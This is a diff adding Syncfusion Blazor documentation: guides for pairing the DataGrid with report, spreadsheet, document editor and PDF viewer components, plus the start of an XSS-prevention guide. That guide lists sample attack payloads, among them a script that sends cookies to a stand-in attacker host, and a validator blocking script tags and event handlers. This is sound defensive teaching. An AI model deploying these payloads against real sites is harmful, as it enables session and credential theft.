+
+Inject **IJSRuntime**, render DataGrid and invoke this JavaScript interop with the `Orders.rdlc` report and the created BoldReportsAPI URL in the `Components/Pages/Index.razor` file to visualize the report using our viewer.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor"  %}
+
+@page "/"
+
+@using Syncfusion.Blazor.Grids
+@inject IJSRuntime JS
+@inject HttpClient Http
+@inject NavigationManager Nav
+
+<div class="container mt-5">
+    <h2>Orders Data Grid & Bold Reports Integration</h2>
+        
+    <SfButton CssClass="e-primary mt-3" IsPrimary="true" OnClick="@OpenReport">
+        Open RDLC Report
+    </SfButton>
+    
+    <SfGrid DataSource="@Orders">
+    <GridColumns>
+        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer ID" Width="150"></GridColumn>
+        <GridColumn Field=@nameof(Order.OrderDate) HeaderText=" Order Date" Format="d" Type="ColumnType.Date" TextAlign="TextAlign.Right" Width="130"></GridColumn>
+        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120"></GridColumn>
+    </GridColumns>
+    </SfGrid>
+    
+    <div id="viewer" style="height:80vh; margin-top:20px;"></div>
+</div>
+
+@code{
+    public List<Order> Orders { get; set; } = [];
+   
+    protected override void OnInitialized()
+    {
+        Orders = Enumerable.Range(1, 10).Select(x => new Order()
+        {
+            OrderID = 1000 + x,
+            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)] ?? "ALFKI",
+            Freight = 2 * x,
+            OrderDate = DateTime.Now.AddDays(-x),
+        }).ToList();
+    }
+    
+    public async Task OpenReport()
+    {  
+        
+        try
+        {
+              
+            // Step 1: Send the grid data to the server API
+            var dataModel = new { DataSources = Orders };
+            var baseUrl = Nav.BaseUri.TrimEnd('/');
+            var url = $"{baseUrl}/api/BoldReportsAPI/SetReportData".Replace("//api", "/api");
+            var response = await Http.PostAsJsonAsync(url, dataModel);
+                       
+            // Step 2: Render the viewer with the data
+            var viewerOptions = new
+            {
+                serviceUrl = "/api/BoldReportsAPI",
+                reportPath = "Orders.rdlc"
+            };
+
+            await JS.InvokeVoidAsync("BoldReports.renderViewer", "viewer", viewerOptions);
+        }
+        catch (Exception ex)
+        {
+            Console.WriteLine($"Exception: {ex}");
+        }
+       
+    }
+
+    public class Order {
+        public int? OrderID { get; set; }
+        public string? CustomerID { get; set; }
+        public DateTime? OrderDate { get; set; }
+        public double? Freight { get; set; }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Run the application
+
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. 
+
+**Expected Behavior**
+* DataGrid renders with sample records.
+* Clicking **Open RDLC Report** sends the grid data to the Web API.
+* The Bold Report Viewer loads and displays the report.
+
+**Output:**
+![Blazor DataGrid with Bold Report Viewer](./images/data-grid-boldreport.webp)
+
+## See also
+
+* [How to use the Bold Reports Report Viewer in a Blazor WebAssembly App](https://help.boldreports.com/embedded-reporting/javascript-reporting/report-viewer/how-to/use-javascript-reportviewer-in-blazor-web-assembly-application/)
+* [How to use the Bold Reports Report Viewer in a Blazor Server App](https://help.boldreports.com/embedded-reporting/javascript-reporting/report-viewer/how-to/use-javascript-reportviewer-in-blazor-server-application/)
+* [Learn about Blazor reporting components in Bold Reports](https://www.boldreports.com/blog/blazor-reporting-components)
diff --git a/blazor/common/integration/blazor-grid-with-spreadsheet.md b/blazor/common/integration/blazor-grid-with-spreadsheet.md
new file mode 100644
index 0000000000..9461cf7320
--- /dev/null
+++ b/blazor/common/integration/blazor-grid-with-spreadsheet.md
@@ -0,0 +1,177 @@
+---
+layout: post
+title: Syncfusion® Blazor Spreadsheet and DataGrid Integration
+description: Step-by-step guide to integrating the Syncfusion Blazor Spreadsheet and DataGrid in Blazor applications.
+platform: Blazor
+control: Common
+documentation: ug
+
+---
+
+# Integrating Blazor DataGrid Component into the Spreadsheet
+
+This guide demonstrates how to integrate the **Syncfusion® Blazor DataGrid** with the **Syncfusion® Blazor Spreadsheet** component to enable a data workflow within a Blazor application.
+
+The workflow includes exporting grid data to an Excel file, opening the file through Spreadsheet UI, and performing interactive editing.
+
+If you haven't created your Blazor app yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
+
+## Prerequisites
+Make sure your development environment meets the [system requirements](https://blazor.syncfusion.com/documentation/system-requirements) for Syncfusion® Blazor components.
+
+## Install Required Syncfusion Packages
+
+To add the Blazor DataGrid and Spreadsheet components to the app, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search for and install the NuGet packages listed below.
+
+* [Syncfusion.Blazor.Spreadsheet](https://www.nuget.org/packages/Syncfusion.Blazor.Spreadsheet)
+* [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
+
+## Add Required Namespaces
+
+Open the `~Components/_Imports.razor` file and import the below namespaces.
+
+{% tabs %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Spreadsheet
+@using Syncfusion.Blazor.Grids
+
+{% endhighlight %}
+{% endtabs %}
+
+## Register Syncfusion Blazor Service
+
+Register the Syncfusion Blazor Service in the `Program.cs` file of your Blazor Server App.
+
+{% tabs %}
+{% highlight razor tabtitle="~/Program.cs" hl_lines="1 8" %}
+
+using Syncfusion.Blazor;
+
+var builder = WebApplication.CreateBuilder(args);
+
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents();
+
+builder.Services.AddSyncfusionBlazor();
+
+var app = builder.Build();
+app.Run();
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add Stylesheet and Script Resources
+
+Add the Syncfusion theme CSS and required scripts to the `~/Components/App.razor` file. The Spreadsheet requires its specific script in addition to the core script. 
+
+{% tabs %}
+{% highlight html  %}
+
+<head>
+     <!-- Syncfusion theme style sheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
+</head>
+
+<body>
+    <!-- Syncfusion Blazor DataGrid component's script reference -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
+    <!-- Syncfusion Blazor PDF Viewer component's script reference-->
+    <script src="_content/Syncfusion.Blazor.Spreadsheet/scripts/syncfusion-blazor-spreadsheet.min.js"></script>
+</body>
+
+{% endhighlight %}
+{% endtabs %}
+
+## Integrating DataGrid and Spreadsheet
+
+Add Spreadsheet and DataGrid component into the any **.razor** file.  
+
+The example below displays a **DataGrid** with sample data, exports to Excel, and lets users open the exported file in **Spreadsheet** via the ribbon (File → Open). 
+
+{% tabs %}
+{% highlight razor %}
+
+@page "/"
+@rendermode InteractiveServer
+
+@using Syncfusion.Blazor.Navigations
+@using Syncfusion.Blazor.Buttons
+@using Syncfusion.Blazor.Grids
+@using Syncfusion.Blazor.Spreadsheet
+
+<h3>Blazor DataGrid ➜ Spreadsheet Preview</h3>
+
+<div class="mb-2">
+    <SfButton CssClass="e-primary" @onclick="PreviewGridInSpreadsheet">Export Grid in Excel</SfButton>
+    <span class="ms-3 text-muted">(Use Spreadsheet Ribbon → File to Open/Save as XLSX/CSV)</span>
+</div>
+
+<h5>DataGrid</h5>
+<SfGrid TItem="Order" @ref="GridRef" DataSource="@Orders" AllowPaging="true" AllowExcelExport="true">
+    <GridEditSettings AllowAdding="true" AllowEditing="true" AllowDeleting="true" />
+    <GridColumns>
+        <GridColumn Field="@nameof(Order.OrderID)" HeaderText="Order ID" Width="120" IsPrimaryKey="true" />
+        <GridColumn Field="@nameof(Order.CustomerID)" HeaderText="Customer" Width="150" />
+        <GridColumn Field="@nameof(Order.Freight)" HeaderText="Freight" Width="120" Format="C2" />
+        <GridColumn Field="@nameof(Order.ShipCity)" HeaderText="Ship City" Width="150" />
+    </GridColumns>
+</SfGrid>
+
+<h5>Spreadsheet</h5>
+<div class="mt-3">
+    <SfSpreadsheet AllowNumberFormatting="true"
+                   AllowCellFormatting="true"
+                   AllowAutofill="true"
+                   Height="250px"
+                   Width="auto">
+        <SpreadsheetRibbon></SpreadsheetRibbon>
+    </SfSpreadsheet>
+</div>
+
+@code {
+    private SfGrid<Order>? GridRef;
+
+    private List<Order> Orders = new()
+    {
+        new() { OrderID = 10001, CustomerID = "ALFKI", Freight = 2.30, ShipCity = "Denmark" },
+        new() { OrderID = 10002, CustomerID = "ANATR", Freight = 3.30, ShipCity = "Brazil" },
+        new() { OrderID = 10003, CustomerID = "ANTON", Freight = 4.30, ShipCity = "Germany" },
+        new() { OrderID = 10004, CustomerID = "BLONP", Freight = 5.30, ShipCity = "USA" },
+        new() { OrderID = 10005, CustomerID = "BOLID", Freight = 6.30, ShipCity = "Brazil" }
+    };
+
+    public class Order
+    {
+        public int OrderID { get; set; }
+        public string CustomerID { get; set; } = "";
+        public double Freight { get; set; }
+        public string ShipCity { get; set; } = "";
+    }
+
+    private async Task PreviewGridInSpreadsheet()
+    {
+        if (GridRef is not null)
+        {
+            await GridRef.ExportToExcelAsync();
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Run the Application
+
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, Spreadsheet components in the default web browser.
+
+**Expected Behavior**
+* DataGrid renders with sample records.
+* Clicking **Export Grid to Excel** downloads an `.xlsx` file.
+* In the Spreadsheet, open it via **Ribbon → File → Open**.
+* Spreadsheet displays the workbook for editing.
+
+**Output:**
+![Blazor DataGrid With Spreadsheet](images/datagrid-with-spreadsheet.webp)
diff --git a/blazor/common/integration/blazor-with-document-editor.md b/blazor/common/integration/blazor-with-document-editor.md
new file mode 100644
index 0000000000..42d0baf807
--- /dev/null
+++ b/blazor/common/integration/blazor-with-document-editor.md
@@ -0,0 +1,165 @@
+---
+layout: post
+title: Syncfusion® Blazor Document Editor and DataGrid Integration
+description: Step-by-step guide to integrating Syncfusion Blazor Document Editor and DataGrid in Blazor applications.
+platform: Blazor
+control: common
+documentation: ug
+---
+
+# Integrating Syncfusion® DataGrid with Document Editor in Blazor App
+
+This guide shows how to integrate the **[Syncfusion® Blazor Document Editor](https://www.syncfusion.com/docx-editor-sdk/blazor-docx-editor)** (WordProcessor) together with the **[Syncfusion® Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** in a Blazor Web App using `Server` interactivity.
+
+## Prerequisites
+
+* [Syncfusion Blazor system requirements](https://blazor.syncfusion.com/documentation/system-requirements): Make sure your development environment meets the required system specifications for using Syncfusion Blazor components.
+
+## Create a project
+
+Create a Blazor Web App using Server render mode. Open the terminal and run the command.
+
+{% tabs %}
+{% highlight c# tabtitle="Blazor Web App" %}
+
+dotnet new blazor -o BlazorWebAppServer -int Server
+cd BlazorWebAppServer
+
+{% endhighlight %}
+{% endtabs %}
+
+## Install NuGet Packages
+
+Open the integrated terminal in the project folder (where the `.csproj` is) and run.
+
+{% tabs %}
+{% highlight bash tabtitle="Terminal" %}
+
+dotnet add package Syncfusion.Blazor.WordProcessor -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+dotnet restore
+
+{% endhighlight %}
+{% endtabs %}
+
+> Do not install `Syncfusion.Blazor` together with `Syncfusion.Blazor.WordProcessor`. They conflict and produce ambiguity errors.
+
+## Add Required Namespaces
+
+Add Syncfusion namespaces to your project-level `_Imports.razor`.
+
+{% tabs %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.DocumentEditor
+@using Syncfusion.Blazor.Grids
+
+{% endhighlight %}
+{% endtabs %}
+
+## Register Syncfusion Blazor Service
+
+Register the Syncfusion Blazor service in your app’s **~/Program.cs**.
+
+{% tabs %}
+{% highlight c# tabtitle="Server(~/_Program.cs)" hl_lines="1 5" %}
+
+using Syncfusion.Blazor;
+var builder = WebApplication.CreateBuilder(args);
+builder.Services.AddRazorComponents()
+    .AddInteractiveServerComponents()
+builder.Services.AddSyncfusionBlazor();
+var app = builder.Build();
+....
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add Stylesheet and Script Resources
+
+Add the theme CSS and Syncfusion scripts in `~/App.razor`.
+
+```html
+<head>
+    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
+</head>
+
+<body>
+   	<!-- Syncfusion Blazor Document Editor component's script reference-->
+	<script src="_content/Syncfusion.Blazor.WordProcessor/scripts/syncfusion-blazor-documenteditor.min.js" type="text/javascript"></script>
+	<!-- Syncfusion Blazor DataGrid component's script reference -->
+	<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
+```
+
+## Configure Render Mode
+
+If your app’s interactivity location is set to `Per page/component`, add a render mode directive at the top of `~Pages/*.razor` where you need interactivity. 
+
+{% tabs %}
+{% highlight razor %}
+
+@rendermode InteractiveServer
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add Syncfusion Blazor Document Editor component and DataGrid component
+
+Add the Syncfusion Document Editor and DataGrid components to a `.razor` file within your app. 
+
+{% tabs %}
+{% highlight razor %}
+
+@page "/"
+@rendermode InteractiveServer
+
+<h1>DocumentEditor</h1>
+<SfDocumentEditorContainer EnableToolbar=true></SfDocumentEditorContainer>
+<h1>DataGrid</h1>
+<SfGrid DataSource="@Orders" />
+
+@code{
+    public List<Order> Orders { get; set; }
+
+    protected override void OnInitialized()
+    {
+        Orders = Enumerable.Range(1, 10).Select(x => new Order()
+        {
+            OrderID = 1000 + x,
+            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
+            Freight = 2 * x,
+            OrderDate = DateTime.Now.AddDays(-x),
+        }).ToList();
+    }
+                                                                
+    public class Order {
+        public int? OrderID { get; set; }
+        public string CustomerID { get; set; }
+        public DateTime? OrderDate { get; set; }
+        public double? Freight { get; set; }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+> By default, the `SfDocumentEditorContainer` component initializes an `SfDocumentEditor` instance internally. If you like to use the events of `SfDocumentEditor` component, then you can set `UseDefaultEditor` property as **false** and define your own `SfDocumentEditor` instance with event hooks in the application (Razor file).
+
+## Run the Application
+
+Use the following command to run the application in the browser.
+
+{% tabs %}
+{% highlight bash tabtitle="Terminal" %}
+
+dotnet run
+
+{% endhighlight %}
+{% endtabs %}
+
+The app launches and renders the Syncfusion® Blazor Document Editor and DataGrid in your default browser.
+
+![Blazor DataGrid with Document Editor](images/documenteditor-with-datagrid.webp)
\ No newline at end of file
diff --git a/blazor/common/integration/blazor-with-pdf-viewer.md b/blazor/common/integration/blazor-with-pdf-viewer.md
new file mode 100644
index 0000000000..98ecacbf28
--- /dev/null
+++ b/blazor/common/integration/blazor-with-pdf-viewer.md
@@ -0,0 +1,184 @@
+---
+layout: post
+title: Syncfusion® Blazor PDF Viewer and DataGrid Integration
+description: Step-by-step guide to integrating the Syncfusion Blazor PDF Viewer and DataGrid in Blazor Web App (Server).
+platform: Blazor
+control: Common
+documentation: ug
+---
+
+# Integrating Syncfusion® DataGrid with PDF Viewer in Web App (Server)
+
+This article explains how to integrate the **Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor PDF Viewer (Next‑Gen)** together with the **Syncfusion® Blazor DataGrid** in a Blazor Web App using the Server render mode.
+
+This guide uses [Visual Studio Code](https://code.visualstudio.com/). If you haven’t created your Blazor app yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) instructions for Visual Studio Code, then return to this article.
+
+### Prerequisites
+
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements): Ensure your development environment meets the required system specifications for using Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components.
+
+### Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor PDF Viewer, DataGrid, and Themes NuGet Packages
+
+From the Server project folder (where the `.csproj` is located), install the required packages:
+ * [Syncfusion.Blazor.SfPdfViewer](https://www.nuget.org/packages/Syncfusion.Blazor.SfPdfViewer) 
+ * [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
+ * [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
+ * [SkiaSharp.Views.Blazor](https://www.nuget.org/packages/SkiaSharp.Views.Blazor)
+
+{% tabs %}
+
+{% highlight c# tabtitle="Package Manager" %}
+
+dotnet add package Syncfusion.Blazor.SfPdfViewer -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+dotnet add package SkiaSharp.Views.Blazor -v 3.119.2
+dotnet restore
+
+{% endhighlight %}
+
+{% endtabs %}
+
+N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet package list with component details. Verify the latest versions before installation.
+
+### Add Required Namespaces
+
+Add Syncfusion<sup style="font-size:70%">&reg;</sup> namespaces in the server project's **~/Components/_Imports.razor** file:
+
+{% tabs %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.SfPdfViewer
+@using Syncfusion.Blazor.Grids
+
+{% endhighlight %}
+{% endtabs %}
+
+### Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in your server app’s **~/Program.cs**.
+
+{% tabs %}
+{% highlight c# tabtitle=".NET 8/.NET 9/.NET 10 (~/Program.cs) Server" hl_lines="2 9 11 13" %}
+
+...
+using Syncfusion.Blazor;
+
+var builder = WebApplication.CreateBuilder(args);
+
+builder.Services.AddRazorComponents() 
+    .AddInteractiveServerComponents();
+
+builder.Services.AddSignalR(o => { o.MaximumReceiveMessageSize = 102400000; });
+
+builder.Services.AddMemoryCache();
+//Add Syncfusion Blazor service to the container.
+builder.Services.AddSyncfusionBlazor();
+
+...
+...
+
+{% endhighlight %}
+{% endtabs %}
+
+### Add stylesheet and script resources
+
+Add the following stylesheet and script references in the server app's `~/Components/App.razor` (inside the head/body as appropriate). Ensure no other Syncfusion theme CSS (e.g., bootstrap5.css, material.css) is referenced to avoid conflicts.
+
+{% tabs %}
+{% highlight html hl_lines="3 8 11" %}
+
+<head>
+    <!-- Syncfusion theme style sheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
+</head>
+
+<body>
+    <!-- Syncfusion Blazor PDF Viewer component script -->
+    <script src="_content/Syncfusion.Blazor.SfPdfViewer/scripts/syncfusion-blazor-sfpdfviewer.min.js" type="text/javascript"></script>
+
+    <!-- Syncfusion Blazor Core script (required for most components, including DataGrid) -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
+
+{% endhighlight %}
+{% endtabs %}
+
+### Configure Render Mode (Server)
+
+For Server render mode, if your app's interactivity location is set to `Per page/component`, add the following directive at the top of each `~Pages/*.razor` file that requires interactive Server components:
+
+**Per‑page directive (Server)**
+
+{% tabs %}
+{% highlight razor %}
+
+@* Define the desired render mode here *@
+@rendermode InteractiveServer
+
+{% endhighlight %}
+{% endtabs %}
+
+N> If the `interactivity location` is set to `Global` and the app is configured for Server render mode, no per‑page directive is required.
+
+### Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor PDF Viewer and DataGrid components
+
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> PDF Viewer (Next-Gen) and DataGrid components to a `.razor` file in the server project's `Pages` folder (for example, `~/Pages/Home.razor`):
+
+{% tabs %}
+{% highlight razor %}
+
+@page "/"
+@rendermode InteractiveServer
+
+<h1>PDF Viewer</h1>
+
+<SfPdfViewer2 DocumentPath="https://cdn.syncfusion.com/content/pdf/pdf-succinctly.pdf"
+              Height="100%"
+              Width="100%">
+</SfPdfViewer2>
+
+<h1>DataGrid</h1>
+
+<SfGrid DataSource="@Orders" />
+
+@code{
+    public List<Order> Orders { get; set; }
+
+    protected override void OnInitialized()
+    {
+        Orders = Enumerable.Range(1, 10).Select(x => new Order()
+        {
+            OrderID = 1000 + x,
+            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
+            Freight = 2 * x,
+            OrderDate = DateTime.Now.AddDays(-x),
+        }).ToList();
+    }
+
+    public class Order {
+        public int? OrderID { get; set; }
+        public string CustomerID { get; set; }
+        public DateTime? OrderDate { get; set; }
+        public double? Freight { get; set; }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> In Syncfusion PDF Viewer, if the [DocumentPath](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.SfPdfViewer.PdfViewerBase.html#Syncfusion_Blazor_SfPdfViewer_PdfViewerBase_DocumentPath) property is not set, the PDF Viewer renders without loading a PDF. Use the **Open** toolbar option to browse and open a PDF.
+
+
+###  Run the Application
+
+```
+
+dotnet run
+
+```
+
+The app launches and renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor PDF Viewer and DataGrid in your default browser.
+
+![Blazor DataGrid with PDF Viewer](images/blazor-datagrid-with-pdf-viewer-integration.webp)
diff --git a/blazor/common/integration/images/blazor-datagrid-with-pdf-viewer-integration.webp b/blazor/common/integration/images/blazor-datagrid-with-pdf-viewer-integration.webp
new file mode 100644
index 0000000000..7e66e5d698
Binary files /dev/null and b/blazor/common/integration/images/blazor-datagrid-with-pdf-viewer-integration.webp differ
diff --git a/blazor/common/integration/images/data-grid-boldreport.webp b/blazor/common/integration/images/data-grid-boldreport.webp
new file mode 100644
index 0000000000..cee666a4d8
Binary files /dev/null and b/blazor/common/integration/images/data-grid-boldreport.webp differ
diff --git a/blazor/common/integration/images/datagrid-with-spreadsheet.webp b/blazor/common/integration/images/datagrid-with-spreadsheet.webp
new file mode 100644
index 0000000000..3792e40808
Binary files /dev/null and b/blazor/common/integration/images/datagrid-with-spreadsheet.webp differ
diff --git a/blazor/common/integration/images/documenteditor-with-datagrid.webp b/blazor/common/integration/images/documenteditor-with-datagrid.webp
new file mode 100644
index 0000000000..d86f82f037
Binary files /dev/null and b/blazor/common/integration/images/documenteditor-with-datagrid.webp differ
diff --git a/blazor/common/security/cross-site-scripting-prevention.md b/blazor/common/security/cross-site-scripting-prevention.md
new file mode 100644
index 0000000000..001e055e19
--- /dev/null
+++ b/blazor/common/security/cross-site-scripting-prevention.md
@@ -0,0 +1,548 @@
+---
+layout: post
+title: Cross-Site Scripting (XSS) Security | Syncfusion Blazor
+description: Protect Syncfusion Blazor apps from XSS using built‑in sanitization, server-side validation, and essential security best practices.
+platform: Blazor
+control: Common
+documentation: ug
+---
+
+# Cross-Site Scripting (XSS) Security in Blazor Applications
+
+## Overview
+
+Cross-Site Scripting (XSS) is one of the most common security problems in web applications. This guide explains how to protect Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application from XSS attacks. It covers built-in client-side sanitization, server-side validation, and safe usage guidelines for components that handle user‑generated content.
+
+## What is Cross-Site Scripting (XSS)?
+
+XSS is a vulnerability where attackers insert harmful code into your application, causing it to run in the user’s browser with the same access level as your app. This can result in
+
+- **Session hijacking** - Stealing authentication tokens or cookies
+- **Data theft** - Accessing sensitive user information
+- **Malware distribution** - Redirecting users to malicious sites
+- **UI manipulation** - Altering what users see on the screen
+- **Credential theft** - Capturing information entered into forms, such as usernames or passwords
+
+### Types of XSS Attacks
+
+1. **Stored XSS** - The attacker saves malicious code in your database, and it runs whenever another user loads the affected page. This is the most dangerous type.
+2. **Reflected XSS** - The harmful script is delivered through a URL or form input and is immediately sent back in the response, causing it to execute in the user’s browser.
+3. **DOM-based XSS** - Client-side scripts read unsafe data and write it directly into the page.
+
+## Why XSS Matters in Blazor Applications
+
+Blazor Server and Blazor WebAssembly come with different types of XSS risks.
+
+### Blazor Server
+
+- All logic runs on the server, so validation is easier, but XSS can still happen if unsafe content is displayed.
+- If an XSS attack happens, an attacker could potentially take control of the SignalR connection that Blazor depends on.
+- The user's session state and backend resources could be compromised.
+
+### Blazor WebAssembly
+
+- The entire application runs directly in the browser, giving malicious scripts full access to the DOM if they are injected.
+- Sensitive data like API tokens or client‑side credentials can be exposed more easily.
+- Server‑side validation doesn’t apply automatically, so extra care is needed.
+- Running a larger part of the app in the browser makes it more exposed to security risks.
+
+## XSS Threat Model and Attack Vectors
+
+### Common Attack Vectors
+
+XSS can enter an application in many different ways. The most common source is user input, such as comments, chat messages, or any data that users type into forms.
+
+Data received from APIs, uploaded files, or text copied from other websites can also contain harmful scripts.
+
+Even information already stored in the database may be unsafe if it was not validated or sanitized before being saved.
+
+### Example Attack Payloads
+
+```html
+
+<!-- Script injection -->
+<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
+
+<!-- Event handler injection -->
+<img src="x" onerror="alert('XSS')" />
+
+<!-- SVG-based attack -->
+<svg onload="alert('XSS')">
+
+<!-- Data attribute abuse -->
+<div data-bind="innerHTML: maliciousContent"></div>
+
+<!-- JavaScript protocol -->
+<a href="javascript:void(document.cookie='stolen')">Click here</a>
+
+```
+
+## How to Prevent XSS Attacks
+
+Protecting your application from XSS requires using several layers of defense.
+
+### 1. Output Encoding
+
+Blazor automatically turns special characters in user input into safe, readable text. For example, a `<script>` tag will appear as visible text on the page instead of running as code.
+
+Use `@userInput` whenever you want to safely display text on the page. Only use `MarkupString` when the HTML has already been sanitized on the server.
+
+```html
+
+@* Safe - Blazor automatically encodes *@
+<p>@userInput</p>
+
+@* UNSAFE - Bypasses encoding; only safe if sanitized *@
+<p>@((MarkupString)userInput)</p>
+
+```
+
+### 2. Input Validation
+
+Validating user input as soon as it is received helps prevent harmful content, such as `<script>` tags, from being stored or sent to other users. This acts as an early safety check and helps stop harmful data before it reaches deeper parts of your application.
+
+Follow these practices when validating input.
+
+- Always validate on the server side, not just the client side.
+- Set maximum length limits for every input field.
+- Use strong typing along with data annotation attributes.
+- Block input that clearly contains suspicious or harmful content.
+- For file uploads, verify the file type, file size, and actual file content before processing.
+
+
+```csharp
+
+using System;
+using System.ComponentModel.DataAnnotations;
+
+public class Comment
+{
+    [Required(ErrorMessage = "Comment is required.")]
+    [StringLength(5000, ErrorMessage = "Comment must be 5000 characters or fewer.")]
+    [SafeContent(ErrorMessage = "Comment contains potentially unsafe content.")]
+    public string Content { get; set; } = string.Empty;
+}
+
+public sealed class SafeContentAttribute : ValidationAttribute
+{
+    protected override ValidationResult IsValid(object value, ValidationContext context)
+    {
+        var s = (value as string)?.Trim() ?? string.Empty;
+
+        if (s.IndexOf("<script", StringComparison.OrdinalIgnoreCase) >= 0)
+            return new ValidationResult(ErrorMessage);
+
+        if (s.IndexOf("onerror=", StringComparison.OrdinalIgnoreCase) >= 0 ||
+            s.IndexOf("onload=",  StringComparison.OrdinalIgnoreCase) >= 0 ||
+            s.IndexOf("javascript:", StringComparison.OrdinalIgnoreCase) >= 0)
+            return new ValidationResult(ErrorMessage);
+
+        return ValidationResult.Success!;
+    }
+}
+
+```
+
+### 3. HTML Sanitization
+
+If your app allows users to enter rich HTML, such as through a rich text editor, you must sanitize it. Sanitization removes harmful or unsafe HTML while keeping safe formatting tags like `<p>`, `<b>`, and `<br>`.
+
+Only the HTML tags you explicitly allow are kept. Always sanitize content before saving it to the database and again before displaying it, including content that comes from external sources.
+
+#### Built-in Sanitization with Syncfusion<sup style="font-size:70%">&reg;</sup> Components
+
+The `EnableHtmlSanitizer` property is available in the Syncfusion<sup style="font-size:70%">&reg;</sup> **RichTextEditor** and **BlockEditor** components. It provides built-in client-side XSS protection.
+
+#### How EnableHtmlSanitizer Works
+
+When `EnableHtmlSanitizer` is enabled (it is `true` by default), the sanitizer does the following.
+
+1. Removes `<script>` tags and their content
+2. Removes event handler attributes such as `onclick`, `onerror`, and `onload`
+3. Blocks unsafe protocols like javascript: scheme
+4. Neutralizes other potentially dangerous HTML elements
+5. Preserves safe formatting tags (`<p>`, `<b>`, `<i>`, `<ul>`, etc.)
+
+> **Important:** Client-side sanitization alone cannot keep your application fully secure. The `EnableHtmlSanitizer` feature helps with basic cleanup and improves safety, but you still need server-side sanitization to properly protect your application.
+
+#### Why Client-Side Sanitization Is Not Enough
+
+1. **Bypass potential** - Attackers can disable JavaScript or modify requests before they reach the server.
+2. **No database protection** - Even if the UI blocks harmful HTML, attackers can still send malicious content that gets stored in your database.
+3. **API vulnerability** - API calls made directly to the backend skip all client-side checks.
+4. **Zero trust principle** - Client side validation should never be trusted as a complete security measure.
+
+#### When to Use EnableHtmlSanitizer
+
+- To catch accidental HTML and improve the user experience
+- To provide an extra layer of defense on top of server side sanitization
+- To give immediate feedback without waiting for a server round trip
+
+#### When Not to Use EnableHtmlSanitizer
+
+- As the only security mechanism in your app
+- As a replacement for server side sanitization
+
+#### BlockEditor with EnableHtmlSanitizer
+
+```csharp
+
+@using Syncfusion.Blazor.BlockEditor;
+
+<div id="container">
